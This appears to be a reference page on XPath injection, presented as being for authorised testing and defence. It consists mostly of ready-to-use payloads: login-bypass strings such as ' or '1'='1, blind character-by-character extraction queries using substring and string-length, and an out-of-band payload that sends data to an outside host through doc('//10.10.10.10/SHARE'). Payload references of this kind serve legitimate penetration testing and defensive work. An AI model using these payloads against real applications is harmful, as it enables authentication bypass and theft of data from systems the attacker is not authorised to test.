XPATH Injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Disclosed reports of this class

4 of 4 passages

Passages

XPATH Injection
Methodology
Blind Exploitation
Out Of Band Exploitation

XPATH Injection

Source On the Atlas

> XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

Methodology

Source On the Atlas

Similar to SQL injection, you want to terminate the query properly:

string(//user[name/text()='" +vuln_var1+ "' and password/text()='" +vuln_var1+ "']/account/text())

' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
')] | //user/*[contains(*,'
') and contains(../password,'c
') and starts-with(../password,'c

Blind Exploitation

Source On the Atlas

1. Size of a string ```sql and string-length(account)=SIZE_INT ``` 2. Access a character with `substring`, and verify its value the `codepoints-to-string` function ```sql substring(//user[userid=5]/username,2,1)=CHAR_HERE substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) ```

Out Of Band Exploitation

Source On the Atlas

http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')

Data as of 2026-11-14.